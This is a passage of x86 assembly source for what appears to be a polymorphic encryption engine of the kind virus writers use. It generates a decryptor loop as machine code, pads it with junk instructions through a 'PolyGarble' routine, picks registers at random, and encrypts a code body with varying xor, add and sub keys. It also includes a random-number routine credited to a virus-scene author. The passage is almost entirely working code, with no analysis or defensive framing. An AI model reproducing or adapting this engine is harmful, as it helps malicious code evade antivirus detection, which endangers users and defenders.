mov ebx,dword ptr [ebp].poly_ptr_reg
mov ecx,dword ptr [ebp].poly_ptr_code_base_va
call Asm_Init_Ptr
call PolyGarble
; init dest ptr
mov ebx,dword ptr [ebp].poly_key_reg
mov ecx,dword ptr [ebp].poly_ptr_decrypt_buf_va
call Asm_Init_Ptr
call PolyGarble
; init counter
mov ebx,dword ptr [ebp].poly_loop_reg
mov ecx,dword ptr [ebp].poly_code_size
shr ecx,2
inc ecx
call Asm_Mov_Reg_Imm_32
call Set_In_Loop
mov ebx,edi ; loop start
call PolyGarble
; mov store_reg/[scr]
mov eax,dword ptr [ebp].poly_store_reg
rol eax,3
add eax,dword ptr [ebp].poly_ptr_reg
rol eax,8
add eax,8bh
stosw
; mov [dest]/store_reg
mov eax,dword ptr [ebp].poly_store_reg
rol eax,3
add eax,dword ptr [ebp].poly_key_reg
rol eax,8
add eax,089h
stosw
call PolyGarble
; inc store_reg
mov eax,dword ptr [ebp].poly_ptr_reg
add eax,0c0h
rol eax,8
add eax,83h
stosw
mov al,4h
stosb
call PolyGarble
mov eax,dword ptr [ebp].poly_key_reg
add eax,0c0h
rol eax,8
add eax,83h
stosw
mov al,4h
stosb
call PolyGarble
; dec loop_counter
mov eax,dword ptr [ebp].poly_loop_reg
add eax,48h
stosb
call PolyGarble
; test loop_counter/loop_counter
mov eax,dword ptr [ebp].poly_loop_reg
rol eax,3
add eax,dword ptr [ebp].poly_loop_reg
add eax,0c0h
rol eax,8
add eax,085h
stosw
; jcc loop
mov eax,ebx
sub eax,edi
push eax
not eax
cmp eax,255 / 2
pop eax
jbe Move_Loop_Short
; near jcc
sub eax,6
mov word ptr [edi],0850fh
mov dword ptr [edi + 2],eax
add edi,6
jmp @f
; short jcc
Move_Loop_Short: sub eax,2
mov byte ptr [edi],75h ; jnz
mov byte ptr [edi + 1],al
add edi,2
@@:
call Set_In_Loop ; unset loop state flag
mov eax,dword ptr [ebp].poly_store_reg
call unset_reg_32 ; free store reg
mov dword ptr [esp],edi ; store edi
; mov eax,dword ptr [ebp].poly_ptr_decrypt_buf_va
; mov dword ptr [ebp].poly_ptr_code_base_va,eax
Asm_Move_Data_End: popad
retn
;
; Auxiliary routines
;
generate_key_32: push ecx
push ebx
mov ecx,4
generate_key_loop: mov eax,0ffh - 10
call random
add eax,10
mov bl,al
rol ebx,8
dec ecx
test ecx,ecx ; to avoid permutation errors
jnz generate_key_loop
mov eax,ebx
pop ebx
pop ecx
retn
;
; Test Flag
;
; eax > 0 => we are in loop already
Is_In_Loop: mov eax,POLY_FLAG_IN_LOOP
jmp Test_Flag
Set_In_Loop: push eax
mov eax,POLY_FLAG_IN_LOOP
jmp Set_Flag
Is_In_Subr: mov eax,POLY_FLAG_IN_SUBR
jmp Test_Flag
Set_In_Subr: push eax
mov eax,POLY_FLAG_IN_SUBR
jmp Set_Flag
Is_In_Pred: mov eax,POLY_FLAG_IN_PRED
jmp Test_Flag
Set_In_Pred: push eax
mov eax,POLY_FLAG_IN_PRED
jmp Set_Flag
Test_Flag: push ebx
mov ebx,dword ptr [ebp].poly_garbler_flags
and ebx,eax
mov eax,ebx
pop ebx
retn
Set_Flag: xor dword ptr [ebp].poly_garbler_flags,eax
pop eax
retn
;
; Registers handling functions
;
; eax = reg
convert_32: push ecx
mov ecx,eax
xor eax,eax
inc eax
rol eax,cl
pop ecx
retn
set_reg_32: push eax
call convert_32
or dword ptr [ebp].poly_reg_usage,eax
pop eax
retn
unset_reg_32: push eax
call convert_32
xor dword ptr [ebp].poly_reg_usage,eax
pop eax
retn
; if eax != 0 , reg is used already
is_used_32: push ebx
call convert_32
mov ebx,eax
mov eax,dword ptr [ebp].poly_reg_usage
and eax,ebx
pop ebx
retn
; if eax after ret is zero , no regs are avaiable
is_any_free_32: mov eax,dword ptr [ebp].poly_reg_usage
not eax
and eax,0ffh
retn
get_reg_32: mov eax,8
call random
retn
get_reg_32_no_stack:mov eax,6
call random
cmp eax,4
je get_reg_32_add
cmp eax,5
je get_reg_32_add
retn
get_reg_32_add: add eax,2
retn
;
; return unused reg32 or -1 if no regs are avaiable
get_free_reg_32: call is_any_free_32
test eax,eax
jz no_reg_avaiable_32
get_another_reg_32: call get_reg_32
push eax
call is_used_32
test eax,eax
pop eax
jnz get_another_reg_32
call set_reg_32 ; set reg as used
retn
no_reg_avaiable_32: dec eax
retn
get_free_reg_32_no_set:
call get_free_reg_32
cmp al,0ffh
je get_free_reg_32_no_set_exit
call unset_reg_32
get_free_reg_32_no_set_exit:
retn
;
; Crypt Data
;
; add/sub must occur in reversed order according to decryption order
; eax = key
crypt_data: pushad
mov edi,dword ptr [ebp].poly_ptr_code_base_raw
mov ecx,dword ptr [ebp].poly_code_size
mov ebx,dword ptr [ebp].poly_slide_key
crypt_loop: cmp dword ptr [ebp].poly_algo1,1
je crypt_algo1
cmp dword ptr [ebp].poly_algo1,2
je crypt_algo2
xor dword ptr [edi],eax
jmp crypt_algo_c
crypt_algo1: sub dword ptr [edi],eax
jmp crypt_algo_c
crypt_algo2: add dword ptr [edi],eax
; now apply slide key
crypt_algo_c: mov dword ptr [esp+1Ch],eax ; save eax
cmp dword ptr [ebp].poly_algo2,1
je crypt_slide1
cmp dword ptr [ebp].poly_algo2,2
je crypt_slide2
xor eax,ebx
jmp crypt_slide_c
crypt_slide1: sub eax,ebx
jmp crypt_slide_c
crypt_slide2: add eax,ebx
crypt_slide_c: inc edi
loop crypt_loop
; mov dword ptr [esp+1Ch],eax ; save eax
popad
retn
;
; random Routine
;
; Entry: EAX == Max_Val.
; Return: EAX == random number between 0..Max_Val-1.
; routine by T-2000
random: push ecx
push edx
push eax
rdtsc
mov ecx,dword ptr [ebp].poly_random_seed ; random seed
add eax,ecx
rol ecx, 1
add ecx, 666h
mov dword ptr [ebp].poly_random_seed,ecx ; random seed
push 32
pop ecx
CRC_Bit_1: shr eax, 1
jnc Loop_CRC_Bit_1
xor eax,0EDB88320h
Loop_CRC_Bit_1: loop CRC_Bit_1
pop ecx
xor edx,edx
div ecx
xchg edx,eax
or eax,eax
pop edx
pop ecx
retn
assume ebp:nothing